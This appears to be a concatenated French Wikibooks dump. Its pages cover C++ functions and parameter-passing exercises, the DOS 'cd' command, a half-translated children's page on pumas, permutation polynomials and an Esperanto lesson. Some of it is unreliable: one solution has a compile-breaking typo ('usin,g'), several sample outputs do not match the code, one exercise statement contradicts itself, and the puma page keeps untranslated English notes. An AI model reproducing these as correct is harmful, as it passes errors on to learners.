la fonction b. **Dans le programme principal, on récupère dans a la moyenne de 3.2 et 4.2 en appelant la fonction b. *'''Exécution :''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran :<br/> Le resultat vaut : 3.7<br/> ===Compatibilité des types=== Une fonction peut avoir des paramètres de différents types. Lors de l'appel, il convient de respecter l'ordre et le type des paramètres entre l'entête et le corps de la fonction. ===Passage de tableaux en paramètres=== Lorsqu'on passe un tableau (d'entiers par exemple en paramètre), il y a identification entre le tableau de l'environnement appelant et le paramètre de la fonction. Toute modification du tableau dans la fonction est répercutée dans le tableau de l'environnement appelant. ===Exemple 6 : passage de tableaux en paramètre === <pre> #include<iostream> using namespace std; const int n=4; void saisir(int t[n]) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>>t[i]; } } void affiche(int t[n]) { int i; for(i=0;i<n;i++) cout<<"La valeur numero "<<i<<" est : "<<t[i]<<endl; } int main() { int a[n]; saisir(a); affiche(a); return 0; } </pre> *'''Explications''' ** Lors de l'appel saisir(a), il y a identification du tableau a et du paramètre t de la fonction saisir : toute modification de t modifie le tableau a. La fonction saisir a permet de demander à l'utilisateur de saisir une à une toutes les cases d'un tableau de n cases. ** La fonction affiche à un tableau de n entiers en paramètres et affiche toutes les cases de ce tableau. ** Le programme est structuré : il est constitué d'un ensemble de fonctions courtes dont le rôle peut être facilement identifié. ** Le main() devient un programme très court ! *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez la valeur numero 0 : 4 <br/> Tapez la valeur numero 1 : 6 <br/> Tapez la valeur numero 2 : 5 <br/> Tapez la valeur numero 3 : 7 <br/> La valeur numero 0 est : 4 <br/> La valeur numero 1 est : 6 <br/> La valeur numero 2 est : 5 <br/> La valeur numero 3 est : 7 <br/> ===Attention === Une modification d'un paramètre qui n'est pas un tableau dans le corps d'une fonction n'est pas répercuté dans l'environnement appelant. ===Exemple 7 (ne marche pas !) === <pre> #include<iostream> using namespace std; void saisir(int n) { cout<<"Tapez un entier : "; cin>>n; } void affiche(int n) { cout<<"La valeur l'entier est : "<<n<<endl; } int main() { int x; x=54; saisir(x); affiche(x); return 0; } </pre> *'''Explications ''' ** Dans la fonction main, on définit une variable entière x et on l'initialise à 54. ** On appelle ensuite la fonction saisir : on copie la valeur de x dans n. Dans le corps de la fonction sasir, on demande à l'utilisateur de taper une valeur qui est mise dans x. Mais à aucun moment cette valeur x n'est mise dans la variable x : la valeur tapée par l'utilisateur est donc perdue. ** La valeur de x reste donc à 54. Lorsqu'on appelle la fonction affiche, on affiche la valeur 54. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez un entier : '''20''' <br/> La valeur de l'entier : 54 <br/> ===Passage de paramètres par référence === On peut passer un paramètre par référence (et pas par copie) en indiquant dans l'entête de la fonction un & après de type. Il y a alors identification du paramètre de la fonction et de la variable de l'environnement appelant. ===Exemple 8 : passage de paramètres par référence === <pre> #include<iostream> using namespace std; void saisir(int & n) { cout<<"Tapez un entier : "; cin>>n; } void affiche(int n) { cout<<"La valeur de l'entier : "<<n<<endl; } int main() { int x; x=54; saisir(x); affiche(x); return 0; } </pre> *'''Explications''' **Lors de l'appel saisir(x), il y a identification des variables x et n : toute modification de n modifie la valeur de x. Lorsque l'utilisateur saisit la valeur de n dans l'instruction cin>>n; , il y a modification du contenu de la variable x. On récupère dans x la valeur tapée par l'utilisateur ** On appelle ensuite la fonction affiche qui affiche la valeur de x. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez la valeur de n : '''20'''<br/> La valeur de n est : 20 <br/> ===Paramètres en entrées et en sorties=== *Certains paramètres vont fournir des données à une fonction : les paramètres en entrée. *D'autres vont permettre de renvoyer une valeur vers l'environnement appelant : les paramètres en sortie. *Techniquement , on utilisera le return ou le passage de paramètres par référence pour envoyer une valeur à l'environnement appelant. *D'autres peuvent éventuellement avoir les 2 rôles : les paramètres en entrée/sortie. ===Exemple 9 : paramètres en entrées et en sorties=== <pre> #include<iostream> using namespace std; void minmax(int i,int j,int & min, int & max) { if(i<j) {min=i;max=j;} else {min=j;max=i;}; } int main() { int a,b,w, x; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; minmax(a,b,w,x); cout<<"Le plus petit vaut : "<<w<<endl; cout<<"Le plus grand vaut : "<<x<<endl; return 0; } </pre> *'''Explications''' ** La fonction minmax permet de récupérer le plus petit et le plus grand de 2 entiers i et j. ** Dans la fonction minmax, i et j sont les paramètres en entrée et min et max sont les paramètres en sorties. ** Dans le main, lorsqu'on appelle la fonction minmax, on recopie les valeurs de a et de b respectivement dans i et j et il y a identification des variables w et min et des variables x et max durant toute la durée de l'appel de la fonction. ** Dans w on récupère donc le plus petit de a et de b et dans x le plus grand de a et de b. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez la valeur de a : '''15'''<br/> La valeur de b est : '''11''' <br/> Le plus petit vaut 11<br/> Le plus grand vaut 15 <br/> ===Passer un tableau de taille quelconque === *Le paramètre d'une fonction peut être un tableau de taille quelconque. *Dans l'environnement appelant, la taille du tableau devra être déterminée. *En général, lorsqu'on passe un tableau de taille quelconque, on passe un autre paramètre entier qui indique la taille du tableau. === Exemple 10 : passer un tableau de taille quelconque=== <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez l'entier numero "<<i<<" : "; cin>>t[i]; } } void afficher(int t[],int n) { int i; for(i=0;i<n;i++) cout<<"L'entier numero "<<i<<" vaut : "<< t[i]<<endl; } int main() { int a[3], b[5]; cout<<"SAISIE DU TABLEAU a"<<endl; saisir(a,3); cout<<"SAISIE DU TABLEAU b"<<endl; saisir(b,5); cout<<"AFFICHAGE DU TABLEAU a"<<endl; afficher(a,3); cout<<"AFFICHAGE DU TABLEAU b"<<endl; afficher(b,5); return 0; } </pre> *'''Explications''' ** Dans la fonction saisir, le premier paramètre est int t[] : il s'agit donc d'un tableau d'entiers de n'importe quelle taille. Le deuxième paramètre n indique la taille du tableau. Cette fonction demande à l'utilisateur de saisir une à une toutes les cases du tableau. ** La fonction affiche a également comme paramètres un tableau d'entiers de taille quelconque et un paramètre n qui indique la taille du tableau. Cette fonction affiche le contenu du tableau. ** Dans le programme principal, on saisit le contenu du tableau a contenant 3 cases et du tableau b contenant 5 cases en ** On constate toutefois que dans la fonction main, la taille des tableaux a et b est belle et bien connue. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> SAISIE DU TABLEAU a<br/> Tapez l'entier numero 0: '''123''' <br/> Tapez l'entier numero 1: '''456''' <br/> Tapez l'entier numero 2: '''789''' <br/> SAISIE DU TABLEAU b <br/> Tapez l'entier numero 0: '''987''' <br/> Tapez l'entier numero 1: '''654''' <br/> Tapez l'entier numero 2: '''321''' <br/> Tapez l'entier numero 3: '''741''' <br/> Tapez l'entier numero 4: '''852''' <br/> AFFICHAGE DU TABLEAU a <br/> L'entier 0 vaut : 123 <br/> L'entier 1 vaut : 456 <br/> L'entier 2 vaut : 789 <br/> AFFICHAGE DU TABLEAU b <br/> L'entier 0 vaut : 987 <br/> L'entier 1 vaut : 654 <br/> L'entier 2 vaut : 321 <br/> L'entier 3 vaut : 741 <br/> L'entier 4 vaut : 852 <br/> ===Portée des variables === * Dans le main, on peut accéder : **aux variables locales du main **aux constantes globales * Dans une fonction, on peut accéder **aux paramètres de la fonction **aux constantes globales * Il est déconseillé de définir des variables globales non constantes ! * Les échanges entre les environnements se font : **par les returns **par les passages de paramètres par référence ===Conclusion=== *Il faudra maîtriser les passages de paramètres par valeur et par référence ainsi que le rôle particulier des tableaux. *Il est indispensable d'avoir bien compris le rôle des paramètres en entrée et en sortie d'une fonction. *Les fonctions vont jouer un rôle fondamental dans la structuration de nos programmes. Nos programmes vont maintenant être constitués d'une multitude de fonctions qui auront une taille petite (10 à 30 lignes) et qui auront toutes un rôle très précis. *Cette méthodologie est indispensable pour créer de longs programmes. ==Exercices sur les fonctions== ===EXERCICE 1=== Ecrire une fonction distance ayant comme paramètres 4 doubles xa,ya et xb,yb qui réprésentent les coordonnées de deux points A et B et qui renvoie la distance AB. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Passage de paramètres par valeur. *Utilisation de return. *Appel d'une fonction. *Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> double distance(double xa, double ya, double xb, double yb) { double dx,dy; dx=xa-xb; dy=ya-yb; return sqrt(dx*dx+dy*dy); } int main() { double x1,y1,x2,y2,d; cout<<"Tapez l'abscisse de A : ";cin>>x1; cout<<"Tapez l'ordonnée de A : ";cin>>y1; cout<<"Tapez l'abscisse de B : ";cin>>x2; cout<<"Tapez l'ordonnée de B : ";cin>>y2; d=distance(x1,y1,x2,y2); cout<<"La distance AB vaut : "<<d<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire une fonction f ayant comme paramètres un double x et un booléen ok et qui renvoie un double par un return. La fonction renvoie par un return la racine carrée de (x-1)*(2-x). La fonction renvoie par l'intermédiaire de la variable ok la valeur true si x est la fonction est définie au point x, false sinon. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Passage de paramètres par valeur et par référence. *Utilisation de return. *Paramètres en entrées et en sorties d'une fonction. *Appel d'une fonction. *Jeu de tests d'une fonction. Voici le fichier source : <pre> #include<iostream> usin,g namespace std; #include<cmath> double f(double x, bool &ok) { double r=0; if(x>=1 && x<=2){r=sqrt((x-1)*(2-x));ok=true;} else ok=false; return r; } int main() { double x,y; bool ok; cout<<"Tapez x :";cin>>x; y=f(x,ok); if(ok)cout<<"f(x) vaut :"<<y<<endl; else cout<<"x n'est pas correct"<<endl; return 0; } </pre> }} ===EXERCICE 3=== Ecrire une fonction f ayant en paramètre un entier et qui renvoie par un return un booléen : true si l'entier et premier false sinon. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Appel d'une fonction. *Validation des données avant l'appel d'une fonction. *Fonction renvoyant un booléen. *Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> bool f(int x) { bool r=true; int d=2; while(r && d*d<=x)if(x%d==0)r=false; else d++; return r; } int main() { int x; bool premier; do{ cout<<"Tapez x :";cin>>x; }while(x<=0); premier=f(x); if(premier)cout<<"x est premier"<<endl; else cout<<"x n'est pas premier"<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire une fonction f ayant comme paramètre un entier n et qui renvoie le n-ième nombre premier : cette fonction utilisera la fonction du 3). Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonctions simples. *Appel de fonction. *Fonction qui appelle une autre fonction. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool premier(int x) { bool r=true; int d=2; while(r && d*d<=x)if(x%d==0)r=false; else d++; return r; } int Npremier(int N) { int nb=0; int i=2; while(nb!=N) { if(premier(i))nb++; i++; } return i-1; } int main() { int N,p; cout<<"Tapez la valeur de N : ";cin>>N; p=Npremier(N); cout<<"Le N-ième nombre premier est : "<<p<<endl; return 0; } </pre> }} ===EXERCICE 5=== Ecrire une fonction swap ayant en paramètres 2 entiers a et b et qui echange les contenus de a et de b. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Appel d'une fonction. *Passage de paramètres par références. *Voici le fichier source : <pre> #include<iostream> using namespace std; void swap(int &x, int &y) { int temp; temp=x; x=y; y=temp; } int main() { int a,b; cout<<"Tapez a :";cin>>a; cout<<"Tapez b :";cin>>b; swap(a,b); cout<<"a vaut : "<<a<<endl; cout<<"b vaut : "<<b<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return un booleén b indiquant s'il existe une valeur comprise entre 0 et 10 dans les n premières cases du tableau t. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau vérifiant une propriété. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } bool f(int t[], int n) { bool trouve=false; int i=0; while(!trouve && i<n) if(t[i]>=0 && t[i]<=10)trouve=true; else i++; return trouve; } int main() { int a[10]; saisir(a,10); bool b; b=f(a,10); if(b)cout<<"Il existe une valeur entre 0 et 10"<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return le nombre de valeurs comprises entre 0 et 10 dans les n premières cases du tableau t.Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Compter le nombre d'éléments dans un tableau vérifiant une propriété. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } int f(int t[], int n) { int nb=0; int i; for(i=0;i<n;i++) if(t[i]>=0 && t[i]<=10)nb++; return nb; } int main() { int a[10]; saisir(a,10); int x; x=f(a,10); cout<<"Il y a "<<x<<" valeur(s) entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f possède un autre paramètre v , entier passé par référence. f doit renvoyer par un return un booleén b indiquant s'il existe une valeur comprise entre 1 et 10 dans les n premières cases du tableau t. Si f renvoie true, v est égal à la valeur de la première case du tableau comprise entre 0 et 10. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } bool f(int t[], int n, int &v) { bool trouve=false; int i=0; while(!trouve && i<n) if(t[i]>=0 && t[i]<=10){trouve=true; v=t[i];}else i++; return trouve; } int main() { int a[10]; bool b; int w; saisir(a,10); b=f(a,10,w); if(b)cout<<"Il existe une valeur entre 0 et 10 : "<<w<<" est la première de ces valeurs."<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire une fonction f ayant en paramètres un tableau t1 de taille quelconque et un entier n indiquant la taille du tableau, ainsi qu'un tableau t2 de la même taille que t1. f doit renvoyer par un return un entier nb indiquant le nombre de valeurs comprises entre 0 et 10 dans le tableau t1. f doit mettre dans le tableau t2 les différentes valeurs comprise entre 0 et 10 qu'il a rencontrées dans le tableau t1. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Extraction d'un sous-liste d'éléments. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } void afficher(int t[],int n) { int i; for(i=0;i<n;i++) cout<<t[i]<<" "; cout<<endl; } int f(int t1[], int n,int t2[]) { int i=0,nb=0; for(i=0;i<n;i++)if(t1[i]>=0 && t1[i]<=10){t2[nb]=t1[i];nb++;} return nb; } int main() { int a[10],b[10]; int nb; saisir(a,10); nb=f(a,10,b); cout<<"VOICI LES VALEURS ENTRE 0 ET 10 : "<<endl; afficher(b,nb); return 0; } </pre> }} ===EXERCICE 10=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return un entier égal à l'indice de la première case du tableau (parmi les n premières) comprise entre 0 et 10. S'il n'existe pas de telle valeur, la fonction renvoie -1. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } int f(int t[], int n) { int i=0,ind=-1; while(ind==-1 && i<n) if(t[i]>=0 && t[i]<=10)ind=i;else i++; return ind; } int main() { int a[10]; int w; saisir(a,10); w=f(a,10); if(w!=-1)cout<<"Il existe une valeur entre 0 et 10. " <<"l'indice de la première case est "<<w<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} Cd (DOS) 6810 31104 2006-02-01T10:19:15Z Guillaumito 46 cat == Introduction == Cette commande permet de changer de répertoire. C'est en fait un raccourci pour [[Chdir (DOS)]] == Utilisation == cd Affiche simplement le répertoire courant cd c:\repertoire Va dans le repertoire indiqué cd .. Remonte dans le répertoire parent cd . Ne fait rien, en effet . représente le répertoire courant. [[Catégorie:DOS]] Catégorie:Dire dans le monde 6813 30760 2006-01-29T16:01:00Z Boly38 136 création [[Catégorie:Langue|Dire dans le monde]] Wikijunior:Les félins/Les pumas 6815 43199 2006-05-26T12:00:46Z Boly38 136 /* Plus d'informations */ lien WP fr {{Les félins}} ==Les pumas== [[Image:MountainLion.jpg|thumb|250px|left|Puma dans le désert du Sonora, Arizona (États-Unis)]] D'après une légende Maya, tous les animaux de la jungle se ressemblaient jusqu'à ce que les dieux leur permirent de se différencier. Le jaguar demanda "Laissez moi être (splanged stars => champion de course ?)", et il le devint. Il était content de ce don et le montra au puma. Pour ne pas être en reste (mal dit) le puma demanda aux dieux d'être aussi beau que le jaguar et il le devint. (Pleased himself the puma (manque un mot?) out to hunt.) Malheureusement, il tomba et roula dans la poussière qui (wich clinged to his still-wet design -> qui allait parfaitement avec son apparence?). (For this foolishness he and all pumas thereafter (manque un mot?) through life the color of the earth.) Le puma est un grand fauve souvent appelé ''le lion des montagnes'', bien qu'il soit plus prôche des petits fauves. Comme les petits fauves, les pumas ne savent pas rugir, cependant, ils poussent des cris (they can muster a very starling snarl or a percing cry.) Le puma est également connu dans certaines régions sous le nom de '''couguar''', '''lion des montagnes''' ou parfois panthère. {{clr}} ===Où vivent-ils ?=== [[Image:Puma range.png|thumb|left|En vert sont représentés les lieux de vie des pumas]] Les pumas sont largement répandus dans le Nord, le Centre et le Sud de l'Amérique. Ils peuvent être vu dans divers habitats, depuis le désert jusqu'à la forêt; depuis l'extrême nord de la Colombie, jusqu'à la pointe sud de la Cordillière des Andes (un cône formé par le Chili et l'Argentine). Le puma a été conduit hors de la moitié orientale (est) de l'Amérique du nord en raison de la présence de l'Homme ; une petite population reste en Floride et de temps en temps, des pumas sont observés dans d'autres états orientaux. {{clr}} ===A quoi ressemblent-ils ?=== [[Image:Puma.jpg|thumb|right|Une panthère de Floride (Puma condocolor)]] La plupart des pumas sont de couleur brun clair, avec la pointe des oreilles et de la queue en noir. Les pumas qui vivent près de la région de l'Equateur sont les plus petits; leur taille augmente si l'on se rapproche des pôles (cette modification de la taille suivant la région géographique est valable aussi pour les tigres. Les plus petits vivent dans les tropiques, et les plus grands tigres sibériens vivent loin au nord où les hivers sont très froids). La panthère de Floride (qui est une espèce menacée) est le plus petit des pumas. Comme beaucoup d'autres fauves, ils peuvent rétracter leurs griffes pointues dans leurs pattes, qui ont quatre orteils. Les mâles adultes mesurent plus de 2 mètres de long (du nez à la queue) et pèsent environ 70 kg. Les femelles mesurent 2 mètres et pèsent environ 35 kg. Les bébés pumas ont des points noirs/marron et des anneaux autour des oreilles. (A traduire : Although pumas do not have a bright pattern, there are distinct black "tearstains" on their upper lips and a vivid white fur around the mouth that emphasizes facial expressions. Although cougars cannot roar, when they growl their "business end" looks rather intimidating, helped along by the markings.) {{clr}} ===Que mangent les pumas et comment chassent-ils ?=== [[Image:Puma lying.jpg|thumb|right|"Dans deux secondes, je lui saute dessus!"]] Les pumas mangent la plupart du temps de grands animaux comme des cerfs. Le puma peut courir très vite, pas moins de 50 km/h, et ils peut sauter 6 m vers l'avant (à partir d'une position debout) ! Ainsi, il peut très facilement attraper des animaux lents. Les pumas peuvent sauter 2.5 m de haut et peuvent monter sur des roches et dans les arbres pour chasser. Leur morsure est très forte, beaucoup plus forte qu'une morsure de chien, et leurs plus grandes dents sont d'environ deux fois la taille d'une grand dent de chien. Les pumas ont un fort instinct de chasseur, et ont été parfois connus pour chasser et attraper des humains sur des bicyclettes. Un aliment préféré pour des pumas est le cerf commun, mais ils mangent également de plus petits animaux. Dans des régions où les pumas et les Hommes vivent à côté, les pumas ont chassé des chiens et des chats pour la nourriture, mais habituellement, ils ne chassent pas des personnes pour la nourriture. Si vous êtes près d'un puma, il vaut mieux de ne pas courir rapidement ou de ne pas monter une bicyclette, parce que son instinct de chasseur lui donne envie d'attraper et de tuer des animaux qui courent. Le 8 janvier 2004, un puma a tué et en partie mangé un cycliste de montagne du parc ''Whiting Ranch Wilderness'', dans le comté Orange, en Californie, mais les attaques sur des humains sont rares. ====Rester en sûreté près des pumas==== [[Image:Puma warning.jpg|thumb|right|Attention, présence de pumas]] Voici quelques bonnes idées pour vivre tranquille dans les secteurs où les pumas vivent : * Ne partez pas seul, au lieu de cela, restez ensemble dans les groupes avec un adulte. * Si vous voyez un puma, ne courez pas, parce que leur instinct pourrait leur donner envie de vous chasser. Au lieu de cela, faites face à l'animal, et regardez le dans les yeux. Tenez-vous grand, soulevez vos bras, et faite tout pour sembler grand. S'il vient vers vous, effrayez-le loin en criant, en ondulant vos bras, ou en jetant des choses. * Ne tournez pas le dos au puma ; ne vous tapissez pas vers le bas ou ne faites rien qui puisse vous faire passer pour un animal. Si vous ou quelqu'un dans votre groupe est attaqué, reculez en arrière en jetant des pierres, en frappant ou en donnant des coups de pied. Des pumas ont été chassés loin en utilisant des roches, des bâtons, des outils de jardin et les mains. Le meilleur endroit pour frapper un puma est sur le nez. * Observez autour de vous quand vous êtes dans un secteur où les pumas pourraient être. Comme d'autres chats, ils aiment jaillir hors d'une cachette et attaquer leur proie par derrière. * Ne vous balladez pas avec votre animal de compagnie, parce que n'importe quel animal (même un chien) peut donner envie à un pumas de le chasser et de le tuer, en raison du "réflexe de chasse" que les pumas ont. En plus, le puma pourrait être attiré par les aliments pour animaux familiers. ===Comment les pumas éduquent-ils leurs petits ?=== [[Image:Mountain lion kittens.jpg|thumb|right|Enfants de lions des montagnes]] [[Image:Moutain_lion_cub.jpg|left|200px|]] Les pumas naissent d'une portée de 2 à 4 chatons et sont élevés par leur maman. A la naissance, ils pèsent environ 500 grammes et mesurent environ 30 centimètres de long. Les chatons ont des tâches foncées qui disparaissent vers 8-12 mois. La maman leur apprend la chasse. A l'âge d'un an et demi (quand ils ont leurs dents d'adulte) les chatons sont séparés de leur mère et trouvent leur propre territoire, bien que les enfants de mêmes parents peuvent rester ensemble pendant un moment après qu'ils soient séparé de leur mère. {{clr}} ===Faits amusants=== Les pumas femelles appellent des compagnons potentiels avec un [http://upload.wikimedia.org/wikipedia/fr/3/32/Puma.mp3 cri] perçant, si fort que cela retentit tout comme le cri d'une femme. Chaque année quelques personnes paniquées appellent la police pour rapporter une "attaque" en cours. ===Classification=== Les pumas font partie de l'ordre des [[wikipedia:fr:Carnivora|Carnivores]], de la famille des [[wikipedia:fr:Felidae|Félidés]], et ont pour nom scentifique [[wikipedia:fr:Puma concolor|Puma concolor]]. ===Plus d'informations=== * [[wikipedia:fr:Pumas|Wikipédia : Pumas]] [[Catégorie:Wikijunior:Les félins|Les pumas]] [[en:Wikijunior Big Cats/Puma]] [[it:Wikijunior Grandi felini/Puma]] [[zh:Wikijunior:大猫/美洲狮]] Mathématiques du traitement du signal:permutations 6816 38791 2006-03-25T11:52:47Z Charles 328 == Fonctions de permutation en informatique == Un petit camarade informaticien me demandait récemment par mail comment comment construire une ''fonction de permutation'' (qu'il a appelé ''valeur complémentaire''): J'ai besoin de tes lumières pour une quest° simple mais q je crois pas pouvoir trouver seul. En fait je pense que c'est une équation que j'arrive pas à solutionner . tu es prêt ? alors j'ai trois valeurs { 0, 1, 2} jusque là je pense être clair ! Maintenant il faut que si je prends une valeur de l'ensemble je retombe automatiquement sur les deux autres, je crois que ça pt s'appeler une valeur complémentaire. Exemple j'ai 2 valeurs {0, 1} l'équation complémentaire est 1-X car 0 donne 1 et 1 donne 0 Mais avec {0 1 2} je trouve pas je dirai 2-x 1-x car le 1 fait bloquer le processus ..... Et je dois trouver un substitut pour un élémen t de détail sur 1 de mes sites . salut C'est une question suffisamment générique en informatique pour que cela vaille le coup d'y consacrer un peu de place ici. pour un ensemble de N nombres (ici 3), il te faut N-1 (ici 2) fonctions. Elles doivent toutes être construites sur le même modèle, qui vient du fait que si tu as N-1 nombres <math>a_1, a_2, \dots, a_{N-1}</math> la fonction (c'est un polynôme de degré N-2) : <math>F(x) = (x-a_1) (x-a_2) \cdots (x-a_{N-1})</math> vaut zéro pour tous ces nombres Pour construire une fonction qui envoie aN sur a1 et tous les autres nombres <math>(a1,\dots,a_{N-1})</math> sur zéro, il faut prendre la fonction : <math>G(x) = {F(x)\over F(a_N)}\, a_1 </math> je vais noter cette fonction <math>G[a_N](x)</math> pour nous rappeler qu'elle vaut zéro partout sauf pour <math>a_N</math>. de même, la fonction qui envoie a1 sur a2 et tous les autres nombres <math>(a_3,\dots, a_N)</math> sur zéro est : <math>G[a_1](x) = F[a_3,\dots,a_N](x) / F[a_3,\dots,a_N](a_1) a_2</math> où j'ai noté <math>F[a_3,\dots,a_N](x) = (x-a_3) (x-a_4) \ldots (x-a_N)</math> ; maintenant, tu peux remarquer que : <math>H(x) = G[a_1](x) + G[a_N](x)</math> vaut zéro partout sauf en <math>a_1</math> '''et''' en <math>a_N</math> (où elle vaut <math>a_2</math> et <math>a_1</math>), voila que ça commence à prendre forme. La formule finale est : <math>K(x) = G[a_1](x) + G[a_2](x) + \ldots + G[a_N](x) = \sum_{n=1}^N G[a_n](x) </math> qui vaut <math>a_{n+1}</math> en <math>a_n</math> pour tous les n (elle décale tout le monde d'un indice). si on applique cela à ton problème (mais comme ça tu pourras résoudre n'importe quel problème du genre) : <math>\{a_1, a_2, a_3\} = \{0, 1, 2\}</math> <math>\left\{ \begin{matrix} F[1,2](x) &=& (x-1) (x-2) \\ F[0,2](x) &=& x \,(x-2) \\ F[0,1](x) &=& x \,(x-1) \end{matrix}\right. </math> et donc <math>\left\{ \begin{matrix} G[0](x) &=& \displaystyle {F[1,2](x) \over F[1,2](0) }\, 1 &=& {(x-1)\,(x-2) \over 2}\\ G[1](x) &=& \displaystyle {F[0,2](x) \over F[0,2](1)}\, 2 &=& - x \, (x-2) \, 2\\ G[2](x) &=& \displaystyle {F[0,1](x) \over F[0,1](2)}\, 0 &=& 0 \end{matrix}\right. </math> ce qui permet d'écrire : <math>K(x) = {(x-1)\,(x-2) \over 2} - x \, (x-2) \, 2 + 0</math> que tu peux simpifier en <math>K(x) = (x-2) \, ( {x-1\over 2} - 2 x)</math> Cette fonction a bien la propriété d'envoyer 0 sur 1, 1 sur 2 et 2 sur 0. tu peux obtenir de la même façon une seconde fonction qui envoie 0 sur 2, 1 sur 0 et 2 sur 1, il s'agit de : <math>L(x) = {F[1,2](x) \over F[1,2](0)}\, 2 + {F[0,2](x) \over F[0,2](1) }\, 0 + {F[0,1](x) \over F[0,1](2)}\, 1 </math> et voilà, j'espère que cela répond à ta question et surtout que cela va te permettre de calculer toi même toutes les fonctions de ce genre dont tu auras besoin. [[Catégorie:Mathématiques]] Mathematiques du traitement du signal:exercices:suites 6818 30853 2006-01-30T09:04:42Z Garzol 521 [[Mathematiques du traitement du signal:exercices:suites]] déplacé vers [[Mathématiques du traitement du signal:exercices:suites]]: correction de l'oubil d'un accent dans la titre de la page #REDIRECT [[Mathématiques du traitement du signal:exercices:suites]] Espéranto : Troisième Leçon 6819 43876 2006-06-05T12:46:00Z 82.234.4.64 /* Outil */ ==Lieu== Le lieu s'indique en mettant le suffixe '''-ej-'''. Ex: * boulangerie.....panejo * école.....lernejo * commissariat.....policejo * boucherie.....viendejo ==Outil== L'outil s'indique en mettant le suffixe '''-il-'''. Ex: *rasoir.....razilo *règle.....liniilo <!-- devenas de linio (ligne), reglilo n'existe pas!--> *pistolet.....pafilo *imprimante.....printilo ==Professionel== Le professionel s'indique en mettant le suffixe '''-ist-'''. Ex: *boulanger.....panisto *boulangère.....panistino *policier.....policisto *policière.....policistino *photographe.....fotisto *femme photographe.....fotistino [[Catégorie:Espéranto|03]] Programmation C++ (débutant)/Les tableaux de char 6822 46422 2006-06-28T21:46:30Z Adniang75 1623 /* Avant-propos important */ {{C++ débutant}} ==Avant-propos important== Lorsqu'on étudie le C++ faut-il étudier d'abord la classe string ou d'abord les tableaux de char ? Dans ce cours, nous étudierons en premier les tableaux de char, fidèle à notre pédagogie ascendante : nous partons des entités les plus rudimentaires pour construire petit à petit des entités de haut niveau. Ce n'est que dans plusieurs 